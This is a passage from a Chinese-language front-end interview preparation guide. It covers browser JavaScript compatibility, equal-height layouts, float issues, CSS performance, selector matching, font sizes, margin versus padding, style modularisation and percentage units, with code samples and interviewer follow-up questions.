  • 父容器具有弹性,可以自动调整项目的大小和顺序。
  • 子项目可以具有灵活的宽度、高度和顺序。
  • 可以轻松实现响应式设计,适应不同的屏幕尺寸和设备。
  • 提供了多种对齐和分布项目的属性和方法,使布局更加灵活和易于控制。

总而言之,Flexbox 提供了一种简单、直观且强大的布局方式,适用于构建各种自适应和灵活的布局,特别适合用于构建响应式设计和移动端布局。

💬 面试官追问

  • 右侧内容区放了一张宽表格,整个页面被撑出横向滚动条,怎么改?

    给 flex: 1 的那一栏加 min-width: 0。flex 子项默认不会缩到比内容还窄,表格多宽它就多宽。

  • flex-direction: column 之后,justify-content: center 为什么变成了垂直居中?

    主轴变成竖的了,justify-content 永远管主轴。想水平居中要改 align-items: center。

  • 一行放不下要换行,最后一行两个卡片被 space-between 甩到两边,怎么办?

    用 gap 控制间距,别用 space-between。更省心的是换 grid:grid-template-columns: repeat(auto-fill, minmax(200px, 1fr))。

  • order 调整了视觉顺序,会有什么副作用?

    Tab 焦点和读屏器还是按 DOM 顺序走,视觉和操作顺序对不上。只用在纯展示的地方。

  • 侧边栏固定 240px,内容区自适应,flex 怎么写?

    侧栏 flex: 0 0 240px,内容区 flex: 1; min-width: 0。光写 width: 240px 的话空间不够时侧栏会被压缩。

# 66 经常遇到的浏览器的JS兼容性有哪些?解决方法是什么

⚡ 30 秒速记

  • 老答案(currentStyle、window.event、attachEvent)都是 IE8 及以前的事,IE 已停止支持,背了也没用
  • 现在的兼容问题主要来自三处:iOS Safari(iOS 上所有浏览器都用 WebKit)、微信等内置 WebView、老安卓和国产浏览器内核
  • 工程解法:browserslist 定目标 → Babel + core-js 按需转语法和补 API → Autoprefixer 补 CSS 前缀
  • 运行时用特性检测('IntersectionObserver' in window),不用 UA 嗅探
  • 已废弃的别再写:keyCode / which 换 e.key,e.returnValue 换 preventDefault()

这题的老答案是 IE 时代的,现在真正遇到的兼容问题主要在 iOS Safari 和各种 App 内置 WebView,解决思路也从手写 if 判断变成了工程化处理。 我一般先用 browserslist 定好要支持哪些浏览器,然后 Babel 加 core-js 按需转语法和补 API,CSS 交给 Autoprefixer。代码里遇到不确定的 API 就做特性检测,比如没有 IntersectionObserver 就退回滚动监听,不去判断 UA。实际踩坑多的是 Safari 的日期解析、100vh、键盘弹起,这些都得真机测。

经常遇到的浏览器的 JavaScript 兼容性问题及解决方法如下:

  1. 当前样式:获取元素的当前样式属性值
  • 解决方法:使用 getComputedStyle(el, null) 方法获取当前样式属性值,或者使用 el.currentStyle 属性(仅适用于 IE 浏览器)。
  1. 事件对象:处理事件时获取事件对象
  • 解决方法:使用 e 参数获取事件对象,或者使用 window.event(仅适用于 IE 浏览器)。
  1. 鼠标坐标:获取鼠标在页面上的坐标位置
  • 解决方法:使用 e.pageX 和 e.pageY 获取鼠标坐标位置,或者使用 window.event.x 和 window.event.y(仅适用于 IE 浏览器)。
  1. 按键码:处理键盘事件时获取按下的键盘按键码
  • 解决方法:使用 e.which 获取按键码,或者使用 event.keyCode(仅适用于 IE 浏览器)。
  1. 文本节点:获取元素中的文本内容
  • 解决方法:使用 el.textContent 获取文本内容,或者使用 el.innerText(现在也是标准属性,但会受 CSS 影响)。

为了解决浏览器的兼容性问题,可以采取以下方法:

  1. 特性检测:通过检测浏览器是否支持某个特定的方法或属性,从而决定使用哪种方式来处理。
  2. 浏览器嗅探:根据浏览器的用户代理字符串来识别浏览器类型,从而采取相应的处理方式。
  3. 使用兼容性库:如 Modernizr、jQuery 等,它们封装了许多兼容性处理的方法,可以简化开发过程。
  4. 编写跨浏览器的代码:使用一致的标准和通用的 JavaScript 方法,避免依赖特定浏览器的特性。

综上所述,通过特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码,可以解决常见的浏览器 JavaScript 兼容性问题。

以下是对每个兼容性问题的示例代码:

1. 当前样式:

var el = document.getElementById('myElement');

// 获取当前样式属性值
var currentStyle;
if (window.getComputedStyle) {
  currentStyle = window.getComputedStyle(el, null).getPropertyValue('color');
} else if (el.currentStyle) {
  currentStyle = el.currentStyle.color;
}
console.log(currentStyle);

2. 事件对象:

// 处理点击事件
function handleClick(e) {
  // 获取事件对象
  var event = e || window.event;
  console.log(event);
}

// 绑定点击事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('click', handleClick, false);
} else if (element.attachEvent) {
  element.attachEvent('onclick', handleClick);
}

3. 鼠标坐标:

// 处理鼠标移动事件
function handleMouseMove(e) {
  // 获取鼠标坐标位置
  var mouseX, mouseY;
  if (e.pageX || e.pageY) {
    mouseX = e.pageX;
    mouseY = e.pageY;
  } else if (e.clientX || e.clientY) {
    mouseX = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    mouseY = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  console.log('Mouse position: ' + mouseX + ', ' + mouseY);
}

// 绑定鼠标移动事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('mousemove', handleMouseMove, false);
} else if (element.attachEvent) {
  element.attachEvent('onmousemove', handleMouseMove);
}

4. 按键码:

// 处理键盘按下事件
function handleKeyDown(e) {
  // 获取按键码
  var keyCode = e.which || e.keyCode;
  console.log('Key pressed: ' + keyCode);
}

// 绑定键盘按下事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('keydown', handleKeyDown, false);
} else if (element.attachEvent) {
  element.attachEvent('onkeydown', handleKeyDown);
}

5. 文本节点:

var el = document.getElementById('myElement');

// 获取元素中的文本内容
var textContent;
if ('textContent' in el) {
  textContent = el.textContent;
} else if ('innerText' in el) {
  textContent = el.innerText;
}
console.log(textContent);

请根据实际情况修改示例代码,并结合特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码的方法来解决兼容性问题。

上面的 currentStyle、window.event、attachEvent、event.x 都是 IE8 时代的私有写法,IE11 已于 2022 年停止支持,了解即可。innerText 现在是标准属性,它和 textContent 的区别是会受 CSS 影响(display: none 的内容不返回,会触发重排)。

现代项目里的处理方式:

// package.json 或 .browserslistrc 声明目标
// > 0.5%, last 2 versions, not dead, iOS >= 12

// babel.config.js:按实际用到的 API 补 polyfill
module.exports = {
  presets: [['@babel/preset-env', { useBuiltIns: 'usage', corejs: 3 }]],
};

// 运行时特性检测
if ('IntersectionObserver' in window) {
  // 懒加载用 IO
} else {
  // 降级为 scroll + getBoundingClientRect
}
/* CSS 侧用 @supports 渐进增强 */
.card { display: block; }
@supports (display: grid) {
  .list { display: grid; }
}

键盘事件统一用 e.key('Enter'、'Escape'),keyCode 和 which 都已废弃。

💬 面试官追问

  • new Date('2024-01-01 10:00') 在 iPhone 上返回 Invalid Date,为什么?

    老版 Safari 不认空格分隔的日期格式。统一用 '2024-01-01T10:00' 或 '2024/01/01 10:00',或者交给 dayjs 解析。

  • 用了 Array.prototype.at(),老安卓上白屏,怎么查怎么修?

    看报错是 is not a function 就是缺 API,不是语法问题。确认 core-js 的 useBuiltIns: 'usage' 生效、browserslist 覆盖到了这台机器的版本。

  • 为什么不用 UA 判断浏览器来分支处理?

    UA 能伪造,各家还互相冒充,iPad 新系统甚至报自己是 Mac。特性检测问的是「你有没有这个能力」,答案才靠谱。

  • Babel 转了代码,为什么 Promise 在老浏览器还是没有?

    Babel 只转语法,Promise、Map 这类内置对象要靠 polyfill 补,也就是 core-js。语法和 API 是两件事。

  • e.keyCode 还能用吗?

    能跑但已经废弃,而且中文输入法下经常拿到 229。用 e.key,输入法组字过程中还要看 e.isComposing。

# 67 请写出多种等高布局

⚡ 30 秒速记

  • flex:父级 display: flex,子项默认 align-items: stretch,天然等高
  • grid:同一行的网格项默认也拉伸等高,而且能跨多行对齐
  • 表格法:父 display: table,子 display: table-cell,兼容老浏览器
  • 老 hack:padding-bottom: 9999px; margin-bottom: -9999px + 父级 overflow: hidden,伪等高
  • JS 取最高高度赋给所有列:最后手段,内容变了还要重算
  • 卡片里按钮要齐底:卡片内部再 flex-direction: column,按钮 margin-top: auto

等高布局现在基本只答 flex 和 grid,其他的都是历史方案。 flex 容器里子项默认 align-items: stretch,同一行的高度自动跟最高那个对齐,一行 CSS 都不用多写。grid 也一样,而且还能让不同卡片里的标题、正文对齐。以前没有 flex 时才会用 table-cell 或者 padding 加负 margin 的伪等高,后者背景是假的,加个底部边框就露馅。真实业务里更常被问的是「卡片等高了但按钮没对齐」,卡片内部再套一个纵向 flex,按钮 margin-top: auto 推到底部。

  1. 使用 JavaScript/jQuery:通过脚本计算元素高度,并将最大高度应用于其他元素。
  2. 使用伪元素和绝对定位:在容器元素中添加一个伪元素,使用绝对定位将其拉伸到与最高元素相同的高度。
  3. 使用表格布局:将容器元素设置为display: table,将子元素设置为display: table-cell,然后使用vertical-align: top或其他对齐方式来实现等高效果。
  4. 使用网格布局(CSS Grid):使用grid-template-rows属性将所有行设置为相同的高度。
  5. 使用flexbox嵌套:将容器元素设置为display: flex,然后在每个子元素中再嵌套一个flexbox容器,将子元素的高度设置为100%,从而实现等高布局。
  6. css3 flexbox 布局: .container{display: flex; align-items: stretch;}

需要根据具体情况选择适合的等高布局方法,考虑兼容性、布局需求和代码复杂度等因素。

💬 面试官追问

  • 三张卡片等高了,但底部按钮高低不齐,怎么让按钮都贴底?

    卡片本身也设 display: flex; flex-direction: column,按钮写 margin-top: auto,剩余空间全给它上面,就被推到底了。

  • 子项写了 align-items: center 之后不等高了,为什么?

    等高就是靠默认的 stretch 拉伸,改成 center 就按内容高度居中了。要等高又要内容居中,就在子项内部再做居中。

  • 子项设了 height: 100px,还会被拉伸吗?

    不会。stretch 只对交叉轴尺寸是 auto 的子项生效,写死高度就按写死的来。

  • padding 加负 margin 的伪等高有什么问题?

    高度是假的,底部边框、圆角、阴影都会被父级的 overflow: hidden 裁掉,锚点跳转也可能错位。现在没必要用。

  • 不同卡片里标题行数不一样,想让正文起点也对齐,怎么做?

    用 grid 的 subgrid:卡片 grid-row: span 3; grid-template-rows: subgrid;,标题、正文、按钮分别对齐到父网格的同一行。

# 68 浮动元素引起的问题

⚡ 30 秒速记

  • 父元素高度塌陷:算高度时不算浮动子元素,背景、边框跟着「消失」
  • 后面的块级元素会钻到浮动元素下面,只有里面的文字被挤开(文字环绕)
  • 浮动元素宽度加起来超了就掉行,高度不一时还会「卡住」错位
  • 解决:父级 display: flow-root(干净的 BFC)、::after 的 clearfix、后续元素 clear: both
  • 布局别再用 float,换 flex / grid;float 只留给图文环绕

浮动元素会脱离普通文档流,最典型的后果就是父元素高度塌陷,其次是后续元素和它重叠。 塌陷是因为普通块算高度时不管浮动子元素,父级就变成 0 高,背景边框都没了。后面的块级盒子会跑到浮动元素底下,只有里面的文字绕开它,看起来像是文字环绕。修法我一般是父级 display: flow-root,或者经典的 ::after 加 clear: both。说到底 float 本来是为图文混排设计的,现在拿它做布局属于历史包袱。

浮动元素可能引起以下问题:

  1. 父元素高度塌陷:当父元素包含了浮动元素时,如果没有清除浮动,父元素的高度将无法被正确计算,导致父元素的高度塌陷,影响页面布局。

解决方法:可以在父元素的末尾添加一个空的块级元素,并设置其清除浮动的属性。例如:

.parent::after {
  content: "";
  display: block;
  clear: both;
}
  1. 元素重叠:浮动元素脱离了正常的文档流,可能导致其他元素与其重叠。这通常发生在没有足够空间容纳浮动元素的情况下。

解决方法:可以通过在需要避免重叠的元素上应用clear属性或使用适当的布局技术来解决重叠问题。

  1. 文字环绕:浮动元素会导致周围的文本环绕在其周围,可能影响页面的可读性和布局。

解决方法:可以使用clear属性或使用适当的布局技术来控制浮动元素周围的文本布局,确保页面的可读性和整体布局。

  1. 父元素高度不准确:如果父元素包含浮动元素而没有设置清除浮动,父元素的高度可能不准确,可能会导致布局问题。

解决方法:可以在父元素上应用清除浮动的样式,或使用其他布局技术来解决父元素高度不准确的问题。

总的来说,使用浮动元素时,应注意处理相关的布局问题,避免出现高度塌陷、重叠和布局混乱等问题。可以使用清除浮动、适当的布局技术或其他CSS属性来解决这些问题。

💬 面试官追问

  • 一排浮动的商品卡片,有一张高了点,后面的卡片排得乱七八糟,为什么?

    浮动元素换行时会被前面更高的那个「卡住」,从它旁边开始排而不是新起一行最左边。给每行第一个加 clear: left,或者干脆换 grid。

  • clearfix 为什么要写 display: block?

    clear 只对块级元素有效,伪元素默认是 inline,不改成块级它就不会被推到浮动元素下面,也就撑不开父级。

  • 父级加了 overflow: hidden 清浮动,有什么隐患?

    它顺手把溢出内容裁掉了,下拉菜单、tooltip、阴影都会被切。只为清浮动的话换 display: flow-root。

  • 文字绕着图片排是 bug 吗?

    不是,这正是 float 设计出来的用途。文章配图左浮动、文字环绕现在还常用,还能配 shape-outside 绕圆形。

  • 浮动元素和 flex 子项一起用会怎样?

    flex 子项上的 float 直接失效。所以老代码改 flex 时,子项上的 float 可以放心删。

# 69 CSS优化、提高性能的方法有哪些

⚡ 30 秒速记

  • 先分清目标:CSS 是阻塞渲染的资源,优化重点是让首屏样式更快到、渲染时少做无用功
  • 加载:关键 CSS 内联,非关键异步加载,按路由拆分,PurgeCSS 删没用到的,压缩 + gzip / brotli
  • 渲染:动画只动 transform / opacity,别在循环里读写布局属性,长列表用 content-visibility: auto
  • 字体图标:font-display: swap + 子集化;雪碧图在 HTTP/2 下价值变小,图标优先 SVG
  • 选择器深度对性能影响很小,主要是可维护性问题;CSS 表达式是 IE 专属早就没了,不用再提

CSS 优化我会拆成两件事:让关键样式尽快到达,以及渲染阶段别做多余的布局和绘制。 加载侧,CSS 会阻塞首屏渲染,所以首屏关键样式内联、其余异步加载,再配合构建工具删掉没用到的样式、压缩。渲染侧最容易出问题的是动画和 JS 改样式:动画只动 transform 和 opacity,JS 里别读一次 offsetHeight 写一次样式来回交替。很多老答案里的「合并文件」「雪碧图」在 HTTP/2 下收益已经很小了。验收我看 LCP 和 CLS,不说空话。

以下是一些优化和提高CSS性能的方法:

  1. 合并CSS文件:将多个CSS文件合并为一个文件,减少HTTP请求次数。
  2. 将CSS文件放在页面最上面:确保CSS文件在HTML文件中的头部,以便浏览器尽早加载和渲染样式。
  3. 移除空的CSS规则:删除不需要的空的CSS规则,减少文件大小。
  4. 避免使用CSS表达式:CSS表达式在每次页面重绘时都会执行,对性能有一定影响,应避免使用。
  5. 优化选择器嵌套:避免过深的选择器嵌套,减少选择器的复杂度,以提高选择器匹配速度。
  6. 最大限度地利用CSS继承:合理利用CSS属性的继承特性,减少重复的代码量。
  7. 抽象和提取公共样式:将重复的样式抽象出来,提取为公共样式,减少重复的代码量。
  8. 使用简写属性:合理使用CSS的简写属性,减少代码量,例如使用margin代替margin-top、margin-right等单独属性。
  9. 避免不必要的浏览器重绘和重排:在进行DOM操作时,尽量减少对页面布局的影响,以避免不必要的浏览器重绘和重排。
  10. 使用CSS雪碧图:将多个小的图标合并到一个图像文件中,通过CSS的背景定位来显示不同的图标,减少HTTP请求次数。
  11. 使用压缩和缩小CSS文件:使用CSS压缩工具,将CSS文件进行压缩和缩小,减少文件大小,提高加载速度。

这些方法可以帮助优化和提高CSS性能,减少文件大小和HTTP请求次数,加快页面加载速度,提升用户体验。

💬 面试官追问

  • 首屏白屏时间长,Performance 面板看到一个 300KB 的 CSS 在阻塞,怎么处理?

    先用 Coverage 面板看首屏实际用了多少,通常不到三成。把首屏用到的内联进 head,剩下的用 media="print" onload 那种方式异步加载,再按路由拆。

  • 页面滚动时掉帧,怎么判断是不是 CSS 的锅?

    Performance 录一段,看主线程里是不是大片紫色的 Layout 和绿色的 Paint。常见元凶是 box-shadow 大面积重绘、position: fixed 元素没提层、滚动监听里改 top。

  • will-change: transform 是不是加得越多越好?

    不是。每个都会提成单独的合成层,占显存,手机上加多了反而更卡。只在动画开始前加,结束后去掉。

  • HTTP/2 下还要合并 CSS 文件吗?

    不用硬合并了,多路复用下请求数不再是瓶颈。反而拆细一点缓存命中更好,改一个组件不至于整个大文件缓存失效。

  • 网页字体加载时文字闪一下或者先空白,怎么优化?

    font-display: swap 先用系统字体顶上;字体文件做子集化,中文字体能从几 MB 压到几十 KB;关键字体加 preload。

# 70 浏览器是怎样解析CSS选择器的

⚡ 30 秒速记

  • 从右往左匹配:先找最右边的「关键选择器」命中的元素,再往上验证祖先
  • 原因:大部分元素在最右一步就被淘汰,从左往右要遍历整棵子树,浪费
  • .nav ul li a:先拿到所有 a,再看祖先有没有 li → ul → .nav,一处不满足就放弃
  • 推论:最右边越宽泛越贵,.list *、div a 这种最差
  • 现代浏览器有按 id / class / 标签分桶、Bloom filter 加速祖先判断,实际差距很小;扁平选择器更多是为可维护性

浏览器匹配选择器是从右往左的,先用最右边那一段筛元素,再往上检查祖先。 原因很简单:页面里绝大多数元素在最右边那一步就不匹配,直接淘汰,而从左往右得先找到 .nav 再遍历它下面所有后代,开销大得多。所以最右边写得越具体越好,.nav * 这种就是让每个元素都进来走一遍祖先检查。不过说实话,现代浏览器在这块优化得很好,选择器写法对性能影响已经很小了,我让团队写扁平选择器主要是为了优先级好管。

浏览器解析CSS选择器的过程是从右到左进行的。当浏览器遇到一个CSS规则时,它会从选择器的最右边开始解析,然后逐步向左匹配元素。

具体的解析过程如下:

  1. 浏览器从右向左选择器的最右边开始解析,找到与该选择器匹配的元素。
  2. 然后,浏览器向左继续解析选择器的下一个部分,检查该元素的父元素是否满足选择器的条件。
  3. 如果满足选择器的条件,则继续向左解析选择器的下一个部分,继续检查父元素的父元素是否满足选择器的条件。
  4. 浏览器重复这个过程,直到解析完整个选择器或者找不到与选择器匹配的元素。

这种从右到左的解析方式可以提高选择器的性能,特别是在面对复杂的选择器和大量元素的情况下。因为从右到左的解析可以尽早过滤掉不匹配的元素,减少了需要遍历的元素数量,提高了选择器的匹配速度。

需要注意的是,并非所有的CSS选择器都适用于从右到左的解析方式,例如属性选择器、伪类选择器等可能需要从左到右进行解析。浏览器在解析CSS选择器时会根据具体的情况选择最优的解析方式。

💬 面试官追问

  • .header .nav .item .link span 这种五层选择器,你会让同事改吗?

    会,但理由主要不是性能,是优先级太高、和 DOM 结构绑死,结构一改样式全挂。换成 BEM 那种单类名 .nav__link-text。

  • * 通配符一定很慢吗?

    单独一个 * { box-sizing: border-box; } 不慢,就是每个元素命中一次。慢的是它放在最右边又带祖先条件,比如 .list *。

  • :has() 是不是打破了从右往左的规则?

    算是一种例外,它要往下看后代,所以浏览器做了专门的失效优化。别在大列表上写 body:has(...) 这种全局的,改动一个节点可能要重新匹配整页。

  • 怎么实际测选择器匹配的开销?

    Chrome 的 Performance 面板开启 Enable CSS selector stats,能看到每个选择器的匹配次数和耗时,比凭感觉讲靠谱。

  • id 选择器是不是匹配最快?

    理论上是,浏览器按 id 建了索引。但用 id 写样式优先级太高,后面很难覆盖,团队里我一般不让用。

# 71 在网页中的应该使用奇数还是偶数的字体

⚡ 30 秒速记

  • 一般用偶数:12px、14px、16px,设计稿基本也都是偶数
  • 偶数好算:行高按 1.5 倍不出小数,50% 居中不出半像素,@2x / @3x 切图整除
  • 历史原因:早年 Windows 的中文点阵字体(比如宋体)只对 12、14、16 这些偶数做了优化,奇数显示发虚
  • 现在高分屏 + 矢量字体,奇数字号显示基本没差别,不是硬规则
  • 另外 Chrome 中文环境曾有最小 12px 限制,小字要用 transform: scale() 缩

一般建议用偶数字号,主要是历史原因加上计算方便,但现在已经不算硬规则了。 早期 Windows 上的中文点阵字体只针对 12、14、16 这些偶数做了优化,奇数字号会发虚、笔画粗细不均,这是大家习惯偶数的来源。另外偶数算行高、算居中都不容易出半像素,设计稿也普遍是偶数。现在高分屏和矢量字体下奇数显示已经没什么问题了,设计要 13px 我也会照做,团队统一字号梯度更重要。

在网页中,一般推荐使用偶数号的字体大小。以下是一些原因:

  1. 比例关系:偶数字号相对更容易与网页设计的其他部分形成比例关系,使整个页面看起来更加协调和平衡。
  2. 对齐:使用偶数字号字体可以使文本段落对齐更加方便。如果使用奇数字号字体,文本段落的对齐可能会受到影响,因为奇数字号字体的基线位置可能会导致对齐不准确。
  3. 兼容性:在某些情况下,奇数字号字体可能在不同浏览器和操作系统中显示不一致。使用偶数字号字体可以减少这种显示差异的可能性。

对于中文网页排版,常用的字体大小是12号和14号。这两个偶数字号字体大小在中文排版中使用较多,可以提供良好的可读性和视觉效果。

需要注意的是,具体选择何种字体大小还要根据设计需求、内容呈现和用户体验等因素进行综合考虑。

💬 面试官追问

  • 设计稿上写了 13px,你会要求设计改成偶数吗?

    不会。现代屏幕上 13px 渲染没问题,关键是整站字号要成体系,比如 12/13/14/16/20,别出现 15、17 这种零散值。

  • 想显示 10px 的字,Chrome 里怎么还是 12px?

    Chrome 中文语言设置下曾有最小字号 12px 的限制。可以写 12px 再 transform: scale(.833),注意缩放不影响占位,要自己调整布局。

  • 14px 字号配 line-height: 1.5,行高是多少,有什么好处?

    21px。偶数字号乘 1.5 可能出奇数,但不会出小数;15px 乘 1.5 就是 22.5px,不同浏览器取整不一样,多行累计会错位。

  • 字号用 px 还是 rem?

    我倾向 rem,用户在浏览器里调大默认字号时页面能跟着放大,对视力不好的用户友好。px 会把这个设置无视掉。

  • 移动端 H5 字号怎么适配不同屏幕?

    常见是 postcss-pxtorem 或 postcss-px-to-viewport 按设计稿换算。但正文字号我不建议跟着屏幕无限放大,可以用 clamp(14px, 3.7vw, 16px) 限个范围。

# 72 margin和padding分别适合什么场景使用

⚡ 30 秒速记

  • padding 是元素自己的一部分:背景会铺满它、点击区域包含它
  • margin 是元素和外界的距离:透明、点不到,垂直方向还会合并
  • 用 padding:内容离边框的距离、扩大按钮点击热区、有背景色的留白
  • 用 margin:元素之间的间隔、margin: 0 auto 居中、margin-left: auto 推到右边
  • 组件之间的间距优先父级 gap:不合并、不用处理首尾,比 margin 干净

padding 是盒子里面的留白,属于元素自己;margin 是盒子外面的距离,属于元素和别人的关系。 判断标准很简单:这块空白要不要有背景色、要不要能点到。按钮想更好点,就加 padding,热区会跟着变大;两个卡片之间拉开距离,就用 margin 或者父级 gap。我写组件有个习惯:组件自己不写外边距,间距交给使用它的父级用 gap 控制,这样组件放到哪都不会多出莫名其妙的空白。

margin 和 padding 在布局和样式设计中有不同的用途和适用场景。

适合使用 margin 的场景:

  • 创建元素之间的空白间距,用于调整元素之间的间隔。
  • 添加外部空白,使元素与周围的元素或容器之间产生间距。
  • 用于调整元素的定位和对齐。
  • 用于调整元素的外边距折叠效果(当相邻元素的外边距相遇时)。

适合使用 padding 的场景:

  • 在元素的内部添加空白区域,用于调整元素内部内容与边框之间的距离。
  • 用于创建元素的背景色或背景图的填充区域。
  • 用于调整元素的内边距,影响元素内容与边框的距离。
  • 用于控制元素的尺寸和布局。

需要根据具体的设计需求和布局目标来决定使用 margin 还是 padding。在一些情况下,它们可以互相替代使用,但在其他情况下,选择正确的属性可以更好地控制布局和样式效果。

💬 面试官追问

  • 按钮视觉上要 24px 高,但想让手机上更好点,怎么做?

    加 padding 撑大热区,或者用伪元素 ::after 绝对定位往外扩一圈,视觉不变点击区域变大。margin 是点不到的。

  • 两个 div 一个 margin-bottom: 20px 一个 margin-top: 30px,间距是多少?

    30px,垂直外边距合并取较大值。padding 不会合并,flex 和 grid 子项之间的 margin 也不会合并。

  • 列表每项都写了 margin-bottom: 16px,最后一项底部多出空白,怎么处理?

    父级改 display: flex; flex-direction: column; gap: 16px;,gap 只加在项与项之间。不方便改布局就用 li + li { margin-top: 16px; }。

  • padding 会把元素撑大吗?

    默认 content-box 下会,width: 200px 加 padding: 20px 实际占 240px。项目里一般全局 box-sizing: border-box,padding 算在宽度里面。

  • margin 能写负值,padding 能吗?

    padding 不能为负。负 margin 常用来抵消父级内边距或做元素重叠,比如让横幅图左右顶满容器。

# 73 抽离样式模块怎么写,说出思路

⚡ 30 秒速记

  • 先分层:基础(reset、变量、字体)→ 布局(容器、栅格)→ 组件(按钮、卡片)→ 工具类 → 页面特例
  • 颜色、间距、圆角、字号抽成 CSS 变量(设计 token),换肤、暗色模式只改变量
  • 命名定一套坚持到底:BEM 天生扁平、不堆优先级
  • 作用域隔离:CSS Modules、Vue 的 scoped、CSS-in-JS,或者直接 Tailwind 原子类
  • 用 @layer 声明层级顺序,后面的层自然覆盖前面的,不靠 !important 打架

抽样式模块的思路是:公共的往下沉成变量和基础组件,业务的往上只管自己,中间靠命名或作用域隔离开。 我会先把颜色、间距、字号这些抽成 CSS 变量,这是整个体系的底座,暗色模式就是换一套变量值。然后是按钮、表单这些公共组件,最后才是页面自己的样式。命名用 BEM,或者直接用 CSS Modules 让构建工具生成唯一类名。层级顺序我现在会用 @layer 声明,reset、组件、业务谁覆盖谁写在一行里,比靠引入顺序和 !important 可靠。

抽离样式模块的思路可以按照以下步骤进行:

  1. 识别公共样式:分析页面中多个模块或页面之间共享的样式,例如颜色、字体、按钮样式等,将其提取为公共样式。
  2. 创建公共样式表:将公共样式抽离到单独的样式表文件中,例如 common.css,以便在多个页面或模块中引用。
  3. 定义命名规范:为业务样式定义统一的命名规范,例如使用 BEM(Block-Element-Modifier)或其他命名约定,确保样式模块的可维护性和可扩展性。
  4. 拆分业务样式:根据页面或模块的功能和结构,将样式拆分为多个模块,并命名为相应的类名或选择器。每个模块应只关注自身的样式,并尽量避免与其他模块产生冲突。
  5. 创建样式模块文件:为每个样式模块创建单独的样式文件,例如 header.css、sidebar.css 等,并按需引入到页面中。
  6. 构建样式层级结构:根据页面或模块的结构和层级关系,合理组织样式文件的引入顺序,确保样式的层叠顺序和继承关系正确。
  7. 统一管理样式文件:根据项目需要,可以使用构建工具(如 webpack、gulp 等)进行样式文件的合并、压缩和打包,减少网络请求和提升页面加载速度。
  8. 维护和更新:在日常开发中,根据需求的变化和新功能的添加,及时更新和维护样式模块,保持样式的一致性和可复用性。

通过以上步骤,可以将样式按照模块化的方式进行抽离和管理,提高代码的可读性、可维护性和重用性。同时,样式模块的拆分也有助于团队协作和并行开发。

💬 面试官追问

  • 业务方老是用 !important 覆盖组件库样式,怎么从根上解决?

    组件库的样式放进低优先级的 @layer,或者用 :where() 把优先级降到 0。业务随便写个类名就能覆盖,自然没人再加 !important。

  • 要做暗色模式,样式怎么组织改动最小?

    颜色全部走变量,:root 一套亮色,[data-theme="dark"] 一套暗色,组件里只写 var(--color-text)。前提是组件里不能写死色值。

  • CSS Modules 和 BEM 选哪个?

    React 项目我倾向 CSS Modules,隔离靠工具不靠自觉;纯 HTML 或多端复用的样式库用 BEM,不依赖构建。两者也可以一起用。

  • Tailwind 这种原子类,还需要抽样式模块吗?

    需要,只是抽的层次变了:token 放进 tailwind.config 或 @theme,重复的组合抽成组件,而不是抽成 CSS 类。

  • 两个页面的 .title 样式互相污染了,怎么快速定位?

    DevTools 里看 .title 被哪几条规则命中、来自哪个文件。根治就是加作用域,页面样式包一层页面根类名,或者改用 CSS Modules。

# 74 元素竖向的百分比设定是相对于容器的高度吗

⚡ 30 秒速记

  • 不全是,看属性:height、top、bottom 的百分比相对包含块的高度
  • padding、margin 的百分比,不管上下还是左右,一律相对包含块的宽度,最反直觉
  • height: 50% 要生效,父元素得有确定的高度,父级是 auto 就当 auto 处理
  • 利用这一点:padding-top: 56.25% 能做 16:9 的自适应盒子(老技巧)
  • 现在直接 aspect-ratio: 16 / 9;transform: translateY(50%) 的百分比则是相对元素自身

不能一概而论:height 的百分比相对父元素高度,但 padding 和 margin 的上下百分比相对的是父元素宽度。 第二条是很多人答错的地方。规范这么设计是为了避免循环依赖:父元素高度常常由子元素撑开,如果子元素的 padding-top 又依赖父高度,就算不出来了。height 百分比也有前提,父元素必须有明确高度,不然 height: 50% 直接失效。以前做 16:9 视频容器就靠 padding-top: 56.25%,现在一个 aspect-ratio 就够了。

不能一概而论:height、top、bottom 的百分比相对包含块的高度,而 padding、margin 的百分比不管上下还是左右,都相对包含块的宽度。当给一个元素设置百分比高度时,它会根据其父元素的高度进行计算。例如,如果一个元素的高度设置为50%,则表示该元素的高度将是其父元素高度的50%。

请注意,如果父元素没有明确设置高度,或者父元素的高度是由其内容决定的(如默认的height: auto),那么百分比高度可能无效,因为无法确定相对的基准高度。

需要注意的是,元素的宽度百分比设定是相对于包含它的父元素的宽度。因此,元素的百分比设定在竖向和横向方向上是不同的。

各属性百分比的参照物:

属性 参照物
width、left、right 包含块宽度
height、top、bottom 包含块高度(包含块高度不确定时 height 按 auto 处理)
padding-*、margin-*(四个方向) 包含块宽度
transform: translate() 元素自身的宽 / 高
line-height 元素自身字号
<div style="width: 400px; height: 200px;">
  <div style="padding-top: 10%; height: 50%;"></div>
  <!-- padding-top = 400 × 10% = 40px;height = 200 × 50% = 100px -->
</div>

为什么要按宽度算:普通流里父元素的高度往往由子元素决定,如果子元素的竖向 padding 又依赖父高度,就成了死循环;宽度通常是自上而下确定的,没有这个问题。

利用它做固定比例盒子:

/* 老写法:16:9 */
.video { height: 0; padding-top: 56.25%; position: relative; }
/* 现代写法 */
.video { aspect-ratio: 16 / 9; }

💬 面试官追问

  • 父元素 width: 400px; height: 200px,子元素 padding-top: 10%,是多少像素?

    40px,按宽度算。上下 padding、margin 的百分比都是参照包含块的宽度。

  • 给 div 写了 height: 100%,但高度还是 0,怎么排查?

    往上一层层看父元素有没有确定高度,一直要追到 html、body。中间有一层是 auto 就断了,要么补 height: 100%,要么改用 flex 让子项拉伸。

  • 绝对定位元素的 height: 50% 相对谁?

    相对它的包含块,也就是最近的定位祖先的 padding box。这时候包含块就算是内容撑开的高度也能算,因为绝对定位元素已经不在流里了。

  • translateY(-50%) 和 top: -50% 有什么不一样?

    transform 的百分比相对元素自身尺寸,top 的百分比相对包含块高度。所以居中时用 top: 50% 配 translateY(-50%),两个参照物各管一半。

  • flex 子项的 margin-top: 10% 也按宽度算吗?

    现在主流浏览器都按包含块宽度算,跟普通块一致。早期 Firefox 在 flex 和 grid 里按高度算过,规范后来统一成宽度。

